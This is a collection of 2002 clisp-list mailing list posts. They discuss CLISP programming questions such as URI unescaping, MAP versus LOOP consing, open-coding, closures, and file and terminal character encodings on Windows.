> I'm writing an OpenGL/GLUT binding for clisp, and i've got almost
> everything working,

congratulations!

> How do i go about implementing this? It'd be nice to be able to say
> something like:
> 
> (use-package "opengl")
> ...
> (glutReshapeFunc #'(lambda (w h) (format t "Window resize.)))
> 
> Is this possible?

<http://clisp.cons.org/impnotes.html#def-call-in> 

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I am new to the list and I am pretty sure this came up before.  I am using
clisp version 2.29 for windows running on windows XP.  
I am trying to call an editor from the clisp prompt by typing:

[1]>(load "editor") 

and I can not get it to work.

The editor called in my config.lsp file is the notepad.exe
actually when I load the config.lsp file I am getting error loading.
Everything else seems to be working.  The readme file on the distribution
for version 2.29 calls for a set of instructions to create a batch file
etc.  I just used the batch file that came with the distribution.  Am I off
on a tangent on this one?



any help would be appreciated.

I would rather be on a unix environment but I am on windows by necessity.  

Thank you,

Sophronis Mantoles



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Sophronis Mantoles <mant0080@umn.edu> writes:

> I am trying to call an editor from the clisp prompt by typing:
> 
> [1]>(load "editor") 
> 
> and I can not get it to work.

you want to read up the docs on the function ED. the function LOAD
loads a file (evals all the forms in the file sequentially), so what
you're doing there is trying to load a file named editor.lisp (or
editor.fasl if it exists and is newer than editor.lisp).
 
> The editor called in my config.lsp file is the notepad.exe
> actually when I load the config.lsp file I am getting error loading.
> Everything else seems to be working.  The readme file on the distribution
> for version 2.29 calls for a set of instructions to create a batch file
> etc.  I just used the batch file that came with the distribution.  Am I off
> on a tangent on this one?

i suggest you get Emacs+ILISP working. at first it can seem like a lot
of work just to get started, but it's well worth it.
 
> I would rather be on a unix environment but I am on windows by necessity.  

that's why we have Emacs.

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Sophronis Mantoles <mant0080@umn.edu> writes:

> I am new to the list and I am pretty sure this came up before.  I am using
> clisp version 2.29 for windows running on windows XP.  
> I am trying to call an editor from the clisp prompt by typing:
> 
> [1]>(load "editor") 
> 
> and I can not get it to work.
> 
> The editor called in my config.lsp file is the notepad.exe
> actually when I load the config.lsp file I am getting error loading.
> Everything else seems to be working.  The readme file on the distribution
> for version 2.29 calls for a set of instructions to create a batch file
> etc.  I just used the batch file that came with the distribution.  Am I off
> on a tangent on this one?
> 
> any help would be appreciated.
> 
> I would rather be on a unix environment but I am on windows by necessity.  

You might want to read this text by Bill Clementson:

  <http://cl-cookbook.sourceforge.net/windows.html>

Edi.


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On Sun, 2002-09-08 at 04:46, Sam Steingold wrote:
> > * In message <1031377382.2222.10.camel@work>
> > * On the subject of "[clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)"
> > * Sent on 07 Sep 2002 17:43:02 +1200
> > * Honorable Adam Warner <lists@consulting.net.nz> writes:
> >
> > I'm hoping you can help me understand how to create a Gray binary
> > output stream.
> 
> see, e.g., describe.lisp in the CLISP sources for inspiration.

Thanks. I really have to work to understand the CLOS system.

> what are you trying to accomplish?

This is what I have accomplished. It decodes URI encoded URL's/HTML form
substrings:

(defparameter *faithful* (ext:make-encoding :charset 'charset:iso-8859-1
:line-terminator :unix))

    (defun unescape-uri (string)
      (let* ((newstring (substitute #\Newline #\+ string))
             (start-pos 0)
             (list (loop for pos = (position #\% newstring :start start-pos) until (eq pos nil)
                         unless (= pos start-pos) collect (subseq newstring start-pos pos)
                         collect (subseq newstring pos (+ pos 3))
                         do (setf start-pos (+ pos 3)))))
        (when (<= start-pos (1- (length newstring)))
          (setf list (append list (list (subseq newstring start-pos)))))

        ;;now that the string is broken up I need to turn all the
        ;;escaped characters into actual characters.
        ;;I encode the string as faithful character then convert it to binary.
        ;;It is then converted to the default terminal encoding (which should be UTF-8).

        (let ((current-encoding *terminal-encoding*))
          (setf  *terminal-encoding* *faithful*)
          (let ((binary
                 (convert-string-to-bytes
                  (with-output-to-string
                    (stream)
                    (dolist (item list)
                      (if (string= (subseq item 0 1) "%")
                          (write-char (code-char (parse-integer (subseq item 1) :radix 16)) stream)
                        (write-string item stream)))) *terminal-encoding*)))
            (setf *terminal-encoding* current-encoding)
            (convert-string-from-bytes binary *terminal-encoding*)))))


e.g. (unescape-uri
"English+%28Braille%29%3A+%E2%A0%8A%E2%A0%80%E2%A0%89%E2%A0%81%E2%A0%9D%E2%A0%80%E2%A0%91%E2%A0%81%E2%A0%9E%E2%A0%80%E2%A0%9B%E2%A0%87%E2%A0%81%E2%A0%8E%E2%A0%8E%E2%A0%80%E2%A0%81%E2%A0%9D%E2%A0%99%E2%A0%80%E2%A0%8A%E2%A0%9E%E2%A0%80%E2%A0%99%E2%A0%95%E2%A0%91%E2%A0%8E%E2%A0%9D%E2%A0%9E%E2%A0%80%E2%A0%93%E2%A0%A5%E2%A0%97%E2%A0%9E%E2%A0%80%E2%A0%8D%E2%A0%91")

Will return line 45 of the UTF-8 sampler if the current terminal
encoding is UTF-8: http://www.columbia.edu/kermit/utf8.html

The kludge is that I currently have to simulate a binary stream using
with-output-to-string, convert that to a vector and then convert that to
a UTF-8 encoded string. If I had a vector stream of (unsigned-byte 8) I
could bypass the conversion from the simulated binary stream to the
actual vector stream (plus writing to a vector stream should be faster
than a string stream).

For a speedup I realise I could bypass the intermediate list
representation of the original string.

Regards,
Adam



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> * In message <1031440965.1510.43.camel@work>
> * On the subject of "Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)"
> * Sent on 08 Sep 2002 11:22:44 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> The kludge is that I currently have to simulate a binary stream using
> with-output-to-string, convert that to a vector and then convert that
> to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte
> 8) I could bypass the conversion from the simulated binary stream to
> the actual vector stream (plus writing to a vector stream should be
> faster than a string stream).

why use streams at all?
doesn't VECTOR-PUSH-EXTEND do what you want?

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On Sun, 2002-09-08 at 12:43, Sam Steingold wrote:
> > * In message <1031440965.1510.43.camel@work>
> > * On the subject of "Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)"
> > * Sent on 08 Sep 2002 11:22:44 +1200
> > * Honorable Adam Warner <lists@consulting.net.nz> writes:
> >
> > The kludge is that I currently have to simulate a binary stream using
> > with-output-to-string, convert that to a vector and then convert that
> > to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte
> > 8) I could bypass the conversion from the simulated binary stream to
> > the actual vector stream (plus writing to a vector stream should be
> > faster than a string stream).
> 
> why use streams at all?
> doesn't VECTOR-PUSH-EXTEND do what you want?

Why yes it does. Thanks for pointing out this functionality!

Speed wise--since all non-escaped (%xx encoded) string elements are
simply printed to the stream using write-string--any byte-by-byte
approach would probably be slower (since I can't compile to native
code).

The way to make it faster would be to avoid converting the plain ASCII
portions to vectors in the first place. The output string would a
concatenation of the plain ASCII portions and the VECTOR-PUSH-EXTENDed
portions converted back to strings.

Thanks for the advice Sam. It was much appreciated.

CLISP's great Unicode support was one of the clear reasons for choosing
to develop using CLISP instead of CMUCL.

Regards,
Adam

(Note from the impnotes: UTF-8 only supports Unicode-16 encoding up to
three bytes. Longer UTF-8 sequences do not yet appear to be supported:

"UTF-8, the 16-bit UNICODE character set. Every character is represented
as one to three bytes. ASCII characters represent themselves and need
one byte per character. Most Latin/Greek/Cyrillic/Hebrew characters need
two bytes per character, and the remaining characters need three bytes
per character. This is therefore, in general, the most space-efficient
encoding of all of Unicode-16."

UTF-8 encoded characters may be up to six bytes long. The 16-bit
character subset is up to three bytes long as stated above.)



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Bruno Haible has been involved with the Free software movement for
over 15 years.

He is the main force behind GNU CLISP (http://clisp.cons.org),
and he has contributed to GCC (dozens of patches and many more bug
reports, some stemming from GCC being unable to compile CLISP properly)
and GLIBC (hundreds of patches and bug reports).

He worked a lot on bringing Free Software to people who do not speak
English, by creating the GNU libiconv library for converting between
various encodings and by maintaining the GNU gettext (starting with
version 0.11) library for internationalization of programs.

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A while back, I mentioned I would be developing a CLISP module that
allowed you to access Oracle databases from CLISP.  A first release of
that is ready and available at http://clisp.alma.com

I would very much like anyone interested to try to at least build it.
I've only tested it with Linux.  I think there was a Solaris user out
there who wanted to use it.

The module provides a rich set of features that can be used for Oracle
applications both simple and sophisticated.  The highlights are:

        - Source code avaiable under the GNU General Public License

        - Full access to most Oracle functionality, including all
          functions accessible via SQL

        - Complete error reporting, including pass-through of
          Oracle error messages and identification of the
          location of SQL parse errors

        - Support for transactions (WITH-TRANSACTION macro)

        - Auto-commit feature that commits database results to
          simplify applications that are not transaction intensive.
          
        - Automatic mapping of Oracle data types to and from
          Lisp data types (string, fixnum, bignum, NULL, etc.)

        - Convenient constructs for database inserts and updates

        - Constructs for looping over SELECT query results:
          a DO-ROWS macro, and a one-row lookahead buffer, useful
          for formatting reports at "breaks" in data streams.

        - Support for multiple, simultaneous connections to
          the same database or different databases

        - Connection caching, allowing re-used of previously
          established database connections, to minimize overhead

Thanks in advance for any comments or feedback you may have.

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One more try. Please don't bounce this one Sourceforge.

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From: Adam Warner <lists@consulting.net.nz>
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Subject: Re: [clisp-list] VECTOR-PUSH-EXTEND [was ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)]
Date: 08 Sep 2002 22:11:06 +1200

On Sun, 2002-09-08 at 12:43, Sam Steingold wrote:
> > * In message <1031440965.1510.43.camel@work>
> > * On the subject of "Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)"
> > * Sent on 08 Sep 2002 11:22:44 +1200
> > * Honorable Adam Warner <lists@consulting.net.nz> writes:
> >
> > The kludge is that I currently have to simulate a binary stream using
> > with-output-to-string, convert that to a vector and then convert that
> > to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte
> > 8) I could bypass the conversion from the simulated binary stream to
> > the actual vector stream (plus writing to a vector stream should be
> > faster than a string stream).
> 
> why use streams at all?
> doesn't VECTOR-PUSH-EXTEND do what you want?

Here's the vector-push-extend version:

    (defun unescape-uri (string)
      (let ((input-string (substitute #\Newline #\+ string))
	    (start-pos 0)
	    (byte-vector (make-array 1000 :adjustable t :fill-pointer 0 :element-type '(unsigned-byte 8))))
	(loop for pos = (position #\% input-string :start start-pos) until (eq pos nil)
	      unless (= pos start-pos) do (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector))
					       (subseq input-string start-pos pos))
	      do (vector-push-extend (parse-integer (subseq input-string (1+ pos) (+ pos 3)) :radix 16) byte-vector)
	      (setf start-pos (+ pos 3)))
	(map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos))
	(convert-string-from-bytes byte-vector *terminal-encoding*)))

It's quite tidy in comparison. It uses map+anonymous functions to
efficiently push non-escaped sequences onto the byte-vector.

You can break it by supplying a broken string (e.g. supplying the %
without a two digit hex number).

Regards,
Adam





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> * In message <1031482631.4271.6.camel@work>
> * On the subject of "[Fwd: Re: [clisp-list] VECTOR-PUSH-EXTEND [was ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)]]"
> * Sent on 08 Sep 2002 22:57:11 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> Here's the vector-push-extend version:
> 
>     (defun unescape-uri (string)
>       (let ((input-string (substitute #\Newline #\+ string))
> 	    (start-pos 0)
> 	    (byte-vector (make-array 1000 :adjustable t :fill-pointer 0 :element-type '(unsigned-byte 8))))
> 	(loop for pos = (position #\% input-string :start start-pos) until (eq pos nil)
> 	      unless (= pos start-pos) do (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector))
> 					       (subseq input-string start-pos pos))
> 	      do (vector-push-extend (parse-integer (subseq input-string (1+ pos) (+ pos 3)) :radix 16) byte-vector)
> 	      (setf start-pos (+ pos 3)))
> 	(map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos))
> 	(convert-string-from-bytes byte-vector *terminal-encoding*)))

replacing 
	(map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos pos))
with
        (loop for i from start-pos to pos do (vector-push-extend (char-code (aref input-string i)) byte-vector))
will save you consing SUBSEQ and LAMBDA.

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On 07 Sep 2002 22:45:44 -0400, Sam Steingold wrote:

> Please visit <http://www.gnu.org/award/2002/2002.html>
> and support nomination of Bruno Haible, the CLISP author.

Great. But I don't understand how we can support the nomination. Is there a
way to vote for nominations?


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> * In message <V2N7PS=cQc+TXWyJAfULnuybdyIu@4ax.com>
> * On the subject of "Re: [clisp-list] FSF Award Nomination: Bruno Haible"
> * Sent on Mon, 09 Sep 2002 13:48:59 +0200
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> On 07 Sep 2002 22:45:44 -0400, Sam Steingold wrote:
> 
> > Please visit <http://www.gnu.org/award/2002/2002.html>
> > and support nomination of Bruno Haible, the CLISP author.
> 
> Great. But I don't understand how we can support the nomination.

Just nominate Bruno again, listing all you know about him
(I am sure I missed a lot of his accomplishments).

> Is there a way to vote for nominations?

dunno.


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Adam Warner writes:

> (Note from the impnotes: UTF-8 only supports Unicode-16 encoding up to
> three bytes. Longer UTF-8 sequences do not yet appear to be supported

This is corrected current in the CVS sources of clisp: All of Unicode,
up to U+10FFFF, will be supported in the next clisp release. (And no
changes to your programs will be needed when switching from the 16-bit
Unicode subset clisp to the full Unicode clisp.)

The characters that need more than three bytes when encoded as UTF-8
are rarities like Etruskian alphabet, musical symbols, and rare
Chinese ideographs.

Bruno


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Sam Stingold wrote:
>replacing 
>	(map nil #'(lambda (x) (vector-push-extend (char-code 
>x) byte-vector)) (subseq input-string start-pos pos))
>with
>        (loop for i from start-pos to pos do 
>(vector-push-extend (char-code (aref input-string i)) byte-vector))
>will save you consing SUBSEQ and LAMBDA.

I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its friends?

Some believe this is important so programmers remain free to use either
form of looping and programming style they like and are not biased
towards a specific one only for performance reasons.

There's been a long history now of fighting against:
 o use macros over functions, because they produce better code
 o use LOOP over MAPCAR etc., because it produces better code(! - because it lambdas (=> GC) less)


If we can't say "the code will be identical in both cases, so prefer
what's more legible" then [some] people *will* bias their style towards
what they percieve - and can verify - is faster.

A tiny test seems to support the view that MAPCAR is inlined,
while MAP is not?

BTW, that argument is not far away from Erik Naggum's old argument
about why CLISP doesn't favour abstraction, which generated quite some heat.

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE7067859D9@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND]"
> * Sent on Mon, 9 Sep 2002 15:08:23 +0200
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>
> Sam Stingold wrote:
> >replacing 
> >	(map nil #'(lambda (x) (vector-push-extend (char-code 
> >x) byte-vector)) (subseq input-string start-pos pos))
> >with
> >        (loop for i from start-pos to pos do 
> >(vector-push-extend (char-code (aref input-string i)) byte-vector))
> >will save you consing SUBSEQ and LAMBDA.
> 
> I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its
> friends?

MAPCAR yes, MAP no.
MAP works transparently on lists and vectors, which is hard to
open-code.

> BTW, that argument is not far away from Erik Naggum's old argument
> about why CLISP doesn't favour abstraction, which generated quite some
> heat.

Actually, CLISP favors abstraction much more than some other lisps.

E.g. in most lisps it is faster to open-code by hand, while in CLISP it
is not.

E.g., (list* 1 2 3 4 5) is (probably) faster in CLISP than the
equivalent (cons 1 (cons 2 (cons 3 (cons 4 5)))) (which is probably
faster, in, say, ACL).

A simple way to estimate the speed of a compiled function is to look at
it's disassembly.  The longer the slower.  So if you can use a single
built-in function instead of a bunch of simpler built-ins, you probably
win.

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On Mon, 9 Sep 2002, Hoehle, Joerg-Cyril wrote:

> Date: Mon, 9 Sep 2002 15:08:23 +0200
> From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] does LOOP cons less than MAP? [was:
>     VECTOR-PUSH-EXTEND]
> 
> Sam Stingold wrote:
> >replacing 
> >	(map nil #'(lambda (x) (vector-push-extend (char-code 
> >x) byte-vector)) (subseq input-string start-pos pos))
> >with
> >        (loop for i from start-pos to pos do 
> >(vector-push-extend (char-code (aref input-string i)) byte-vector))
> >will save you consing SUBSEQ and LAMBDA.
> 
> I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its friends?

Even if map's basic loop is open coded, what's going to happen with
your lambda expression? You are asking for a map compiler macro
which is  smart enough to rip apart lambda expressions and inline their
body, so that no closure is actually generated?

Is it ANSI conforming to write compiler macros for standard Lisp
functions? If so, can just use define-compiler-macro to produce
alternate code for MAP. Conforming or not, It works in CLISP anyway, so
you can do:

#+CLISP (define-compiler-macro map (...) ...)

> Some believe this is important so programmers remain free to use either
> form of looping and programming style they like and are not biased
> towards a specific one only for performance reasons.

You are free to keep the same syntax and semantics, yet exercise
basic self-determination by writing your own compiler macro to
translate the form however you want.

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On 9 Sep 2002, Sam Steingold wrote:
> MAP works transparently on lists and vectors, which is hard to
> open-code.

Not, I think, if you sacrifice to the gods of bloat. :) Simply generate
the code variants for both sequence types, and wrap then in an
open-coded switch to dynamically select the appropriate one based on
the type of the argument sequence.



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Hi,
Please help me to solve this problem

Create a function (MoveTile state dir) that takes as input a
structure representing a state from the Eight Puzzle search space 
(containing
a single configuration represented as a list, the f, g, and h 
values, and the
previous move).  If the blank tile can be moved in the desired 
direction
(up, down, left, or right), the function returns a new state with 
the move
executed; otherwise the function returns NIL.

Sangeeta


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On 9 Sep 2002, Sangeeta  Madan wrote:

> Date: 9 Sep 2002 20:11:16 -0000
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> Hi,
> Please help me to solve this problem
> 
> Create a function (MoveTile state dir) that takes as input a

Two comments.

1. Before you ask others to help you with your homework, at least show
   your own attempt at doing it. Otherwise you are simply asking for
   someone else to earn your grade for you, which is unethical,
   deplorable behavior. What information are you missing that is
   preventing you from writing this program?

2. Your homework question is not specific to the CLISP implementation
   of the Lisp language. You should ask in a Common Lisp programming
   forum such as the comp.lang.lisp newsgroup.  This is a serious list 
   for discussing the CLISP implementation of Common Lisp, one of many.
   It is not for Lisp homework problems.



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" but I thought CLISP would open-code MAPCAR and its friends?"

Ok - a bit a Lisp newbie question here (Ive been programming C++/C for
donkeys
years though so a complex answers ok :-)).

What does open-code mean?

cheers

mark



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> * In message <Pine.LNX.4.44.0209091238230.24311-100000@ashi.FootPrints.net>
> * On the subject of "Re: "
> * Sent on Mon, 9 Sep 2002 12:43:30 -0700 (PDT)
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> On 9 Sep 2002, Sam Steingold wrote:
> > MAP works transparently on lists and vectors, which is hard to
> > open-code.
> 
> Not, I think, if you sacrifice to the gods of bloat. :) Simply
> generate the code variants for both sequence types, and wrap then in
> an open-coded switch to dynamically select the appropriate one based
> on the type of the argument sequence.

what if MAP is given 5 arguments?
should we generate 32 versions of the code?

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> * In message <FMEDICLGHPGJBJNAPJHLMEBADIAA.mark@junklight.com>
> * On the subject of "RE: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND]"
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> " but I thought CLISP would open-code MAPCAR and its friends?"
> 
> What does open-code mean?

replacing a funcall to MAPCAR with an explicit loop.
i.g.

(mapcar (lambda (x) BODY) foo)

==>

(dolist (x foo) BODY)


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On Mon, 9 Sep 2002, mark wrote:

> What does open-code mean?

It means to put code in place, rather than to defer to a function call.



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Mark,

A C++ programmer would call it "in-lining."

Specifically, it's expanding instructions from a called function at the 
point of call rather than emitting instructions to simply call that 
function. It's done for the usual reasons: to trade away the time cost of 
function invocation (subroutine call) for the space of placing equivalent 
instructions at the point of call. It also makes possible the compile-time 
resolution of certain alternatives (value-dependent if / then choices, type 
discrimination, iteration counts / loop termination conditions, etc.) that 
must appear in their most general form in the function.

Randall Schulz
Mountain View, CA USA


\At 14:05 2002-09-09, mark wrote:
>" but I thought CLISP would open-code MAPCAR and its friends?"
>
>Ok - a bit a Lisp newbie question here (Ive been programming C++/C for
>donkeys years though so a complex answers ok :-)).
>
>What does open-code mean?
>
>cheers
>
>mark



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On Tue, 2002-09-10 at 07:30, Sam Steingold wrote:

> > I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its
> > friends?
> 
> MAPCAR yes, MAP no.
> MAP works transparently on lists and vectors, which is hard to
> open-code.
> 
> > BTW, that argument is not far away from Erik Naggum's old argument
> > about why CLISP doesn't favour abstraction, which generated quite some
> > heat.
> 
> Actually, CLISP favors abstraction much more than some other lisps.
> 
> E.g. in most lisps it is faster to open-code by hand, while in CLISP it
> is not.
> 
> E.g., (list* 1 2 3 4 5) is (probably) faster in CLISP than the
> equivalent (cons 1 (cons 2 (cons 3 (cons 4 5)))) (which is probably
> faster, in, say, ACL).
> 
> A simple way to estimate the speed of a compiled function is to look at
> it's disassembly.  The longer the slower.  So if you can use a single
> built-in function instead of a bunch of simpler built-ins, you probably
> win.

Absolutely. I learned this point quickly (and it's also founded on the
common sense that CLISP programs don't compile to native/machine code).
Moreover if what you are doing doesn't provide an opportunity to
precompile code CLISP appears to provide far better performance than
many other implementations (including those of other languages).

Until now I didn't realise Hell will freeze over before Erik will use
CLISP. It must pain Erik every time I mention CLISP in c.l.l ;-)

Thanks for the information about the extra Unicode support Bruno. It's
astonishing to see all the developments in just the short time I've been
using CLISP.

And thanks for the extra advice about optimising using LOOP Sam.

Regards,
Adam



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Randall R Schulz writes:
>A C++ programmer would call it "in-lining."
That also exists in Common Lisp: (declare (inline foo bar zot))

>[...] trade away the time cost of function invocation [...]
Randall,

you omit to mention the (to me in this case) single most important point of optimization between LOOP and MAP: the elimination of a lambda.
Given that the lambda in the given form was a closure and could not be resolved to a constant function [*], typical Lisps must allocate a closure object on the heap.

In my experience, GC/consing are sisters of time (cf. one of Paul Grahams articles). But maybe I don't have enough experience with modern generational GC.

Whereas one more indirection caused by an extra FUNCALL: I learned not to bother anymore. (Advantages outweigh non measurable performance loss).


[*] CLISP optimizes away cases where all no free variables in a lambda expression are lexically bound by an outer lexical binding. Some naive Scheme or Lisp compilers (e.g. Oaklisp) don't do this kind of useful optimization and create a new closure on each invocation [**].

E.g. with CLISP, the following two are equivalent:
(defun foo (elems list)
  (let ((helper #'(lambda (x y) (equal x (first y)))))
    (dolist (e elems nil)
      (when (funcall helper e list) (return e)))))

(let ((helper #'(lambda (x y) (equal x (first y)))))
  (defun foo2 (elems list)
    (dolist (e elems nil)
      (when (funcall helper e list) (return e)))))
I.e., the programmer can concentrate on the task at hand and need not do constant-folding him/herself, hoping for better performance.

The above functions are much more efficient than the following:
(defun bar (elems list)
  (let ((helper #'(lambda (x y) (equal x (first list)))));list comes from outer env.
    (dolist (e elems nil)
      (when (funcall helper e list) (return e)))))
which is quite similar to the original poster's (OP) MAP+lambda code.
Here a new closure object is created on every call.

One of the main differences is the following instruction:
8     (COPY-CLOSURE&PUSH 2 1)             ; #<COMPILED-CLOSURE BAR-1>
as opposed to merely referencing a constant and compiled closure/function.

Of course, compilers optimizing even further could notice that the lambda has stack semantics instead of heap semantics. It could indeed be allocated on the stack, causing no extra consing/GC. CLISP doesn't do that at all.

performance lesson: sometimes it's better to pass more parameters on to a function, so that it doesn't depend on the lexical environment.

My experience: The independent function is more general and exhibits reusable patters.

[**] creating a new closure is strictly equivalent to allocating and initializing a new object. This does not in any way require compilation. Feel free to ask for more details if this confuses you.

Regards,
	Jorg Hohle.



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Hi,

I'm using the compiled binary clisp-2.29 on the windows
platform. I have a problem with german characters. I don't
know how to read a file with '=E4=F6=FC...' and to show the characters
on the terminal. I try to start with a -L german.=20
I don't understand the interaction between 'encodings'
and my problem. May be this is the solution.


best regards
jens himmelreich


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> * In message <A159B2B20DBCD211B722006008964A7501AB1D73@EXCH-SVR>
> * On the subject of "[clisp-list] CLISP an German charcters"
> * Sent on Tue, 10 Sep 2002 17:23:25 +0200
> * Honorable jens.himmelreich@hmmh.de writes:
>
> I'm using the compiled binary clisp-2.29 on the windows platform. I
> have a problem with german characters. I don't know how to read a file
> with '=E4=F6=FC...' and to show the characters on the terminal. I try to
> start with a -L german.  I don't understand the interaction between
> 'encodings' and my problem. May be this is the solution.

-L specifies the language CLISP uses to talk to you.
   <http://clisp.cons.org/clisp.html#opt-lang>

-E specifies the encoding (character set) it uses to print the
   messages. <http://clisp.cons.org/clisp.html#opt-enc>

what is your specific problem:
        what do you do?
        what do you see?
        what do you expect/want to see?
=20=20=20
--=20
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Hi,

Thanks for your reply.

> -----Original Message-----
> From: Sam Steingold [mailto:sds@gnu.org]
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> [...]
> what is your specific problem:
>         what do you do?

I try to explain what I do.

I have a function:
(defun get-content-from-file (filename)
  (with-open-file=20
   (stream filename)
    (let ((lines))=20
      (do ((line (read-line stream) (read-line stream nil 'eof)))
          ((eq line 'eof) 'eof)
        (setq lines (append lines (list (trim line)))))
      (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) =
lines))))

(defun trim (s)
  "Spaces, Tabs and newlines stripped from the beginning and the end"
  (string-trim '(#\Space #\Tab #\Newline) s))

and get a text with german chars like this: 'L\204nge'. If I type I get
a 'L=E4nge' in this emacs-buffer.

With some texts I get an error:
*** - Character #\u2022 cannot be represented in the character set
CHARSET:CP850
May be it's this character: '\225'

Because I see #\u I guess unicode and try the following function:
(defun get-content-from-file (filename)
  (with-open-file=20
   (stream filename :external-format (ext:make-encoding :charset =
"UTF-8"
                                      :input-error-action :ignore))
    (let ((lines))=20
      (do ((line (read-line stream) (read-line stream nil 'eof)))
          ((eq line 'eof) 'eof)
        (setq lines (append lines (list (trim line)))))
      (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) =
lines))))

Now I don't get an error, but I don't get any non-ascii charcter. They
are ingnored (I think because :input-error-action :ignore)

>         what do you see?

*** - Character #\u2022 cannot be represented in the character set
CHARSET:CP850
or no non-ascii character

>         what do you expect/want to see?

I hope to see the characters like in a normal text-editor
It's no problem, if the special (unicode) characters are
ignored, but I need the normal german character, the=20
quotation-marks an so on.

Could you help me?


best regards
jens himmelreich


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On 10 Sep 2002 15:06:37 +1200, Adam Warner wrote:

> Until now I didn't realise Hell will freeze over before Erik will use
> CLISP. It must pain Erik every time I mention CLISP in c.l.l ;-)

Then Hell must be a pretty cold place. If you refer to Erik Naggum, some
time ago he mentioned using CLISP for a project. I seem to remember it was
Web-related.


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Hi,

>Could you help me?

It looks like you're sitting on a MS-windoes box with Emacs and CLISP.

1. find out what encoding your dos box window uses,

2. find out what encoding Emacs uses for files,

3. find out what encoding Emacs uses for communication with an embedded =
CLISP *process*.

> (format nil "~@C" #\=E4) ; helps you
"#\\LATIN_SMALL_LETTER_A_WITH_DIAERESIS"

If the encoding is wrong, you may see an =E4 but CLISP sees a different =
character, not a small letter a! The character name will show this.

You may need to (run-lisp "clisp -E terminal iso-8859-1 ... other =
options" instead of the default CP850 codepage.

E.g. I use -Efile UTF-8 -Eterminal ISO-8859-1 when running inside =
Emacs.
o UTF-8 for files because that's what CLISP source files use -- This =
may be counterproductive for your own CLISP files, e.g. you might be =
using iso-8859-1.
o iso-8859-1 because that's what I found out Emacs sends to the CLISP =
process in my environment.

I'm using Emacs-20.7.x

Regards,
	J=F6rg H=F6hle.


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Hi,

Now I use '-Efile iso-8859-1 -Eterminal iso-8859-1'
in the clisp-call and everything is fine.

Thank you for your help!


best regards
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> * In message <A159B2B20DBCD211B722006008964A7501AB1D77@EXCH-SVR>
> * On the subject of "RE: RE: [clisp-list] CLISP an German charcters"
> * Sent on Wed, 11 Sep 2002 09:59:57 +0200
> * Honorable jens.himmelreich@hmmh.de writes:
>
> I have a function:
> (defun get-content-from-file (filename)
>   (with-open-file=20
>    (stream filename)
>     (let ((lines))=20
>       (do ((line (read-line stream) (read-line stream nil 'eof)))
>           ((eq line 'eof) 'eof)
>         (setq lines (append lines (list (trim line)))))
>       (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) lines))))
>=20
> (defun trim (s)
>   "Spaces, Tabs and newlines stripped from the beginning and the end"
>   (string-trim '(#\Space #\Tab #\Newline) s))

replace APPEND with PUSH and then NREVERSE for improved performance.

> and get a text with german chars like this: 'L\204nge'. If I type I get
> a 'L=E4nge' in this emacs-buffer.
>=20
> With some texts I get an error:
> *** - Character #\u2022 cannot be represented in the character set
> CHARSET:CP850
> May be it's this character: '\225'

when do you get the error?
during input from the file? (type "help" at the break prompt).
if yes, you should look at CUSTOM:*DEFAULT-FILE-ENCODING*
<http://clisp.cons.org/impnotes.html#def-file-enc> or supply
:EXTERNAL-FORMAT argument to WITH-OPEN-FILE.

if the error occurs when the output of GET-CONTENT-FROM-FILE is printed
to the *STANDARD-OUTPUT*, you need to modify CUSTOM:*TERMINAL-ENCODING*
<http://clisp.cons.org/impnotes.html#term-enc>.

See also <http://clisp.cons.org/clisp.html#opt-enc>.

> Because I see #\u I guess unicode and try the following function:
> (defun get-content-from-file (filename)
>   (with-open-file=20
>    (stream filename :external-format (ext:make-encoding :charset "UTF-8"
>                                       :input-error-action :ignore))

never, ever use :*-ERROR-ACTION :IGNORE unless you know for certain
that this is what you really want.

>     (let ((lines))=20
>       (do ((line (read-line stream) (read-line stream nil 'eof)))
>           ((eq line 'eof) 'eof)
>         (setq lines (append lines (list (trim line)))))
>       (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) lines))))
>=20
> Now I don't get an error, but I don't get any non-ascii charcter. They
> are ingnored (I think because :input-error-action :ignore)

are you sure your file is encoded with UTF-8 and not, say ISO-8859-1?


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> From: Paolo Amoroso <amoroso@mclink.it>
> Date: Wed, 11 Sep 2002 11:00:55 +0200
> 
> On 10 Sep 2002 15:06:37 +1200, Adam Warner wrote:
> 
> > Until now I didn't realise Hell will freeze over before Erik will use
> > CLISP. It must pain Erik every time I mention CLISP in c.l.l ;-)
> 
> Then Hell must be a pretty cold place. 

Actually,  after the  Bible (and  current scientific  knowledge), it's
colder than Paradize. (Perhaps it would be better to say that Paradize
is hotter than Hell).  Whatever...

> If you refer to Erik Naggum, some
> time ago he mentioned using CLISP for a project. I seem to remember it was
> Web-related.


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Date: Fri Sep 13 08:22:59 2002
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hi, a little new on the list. one quick question:
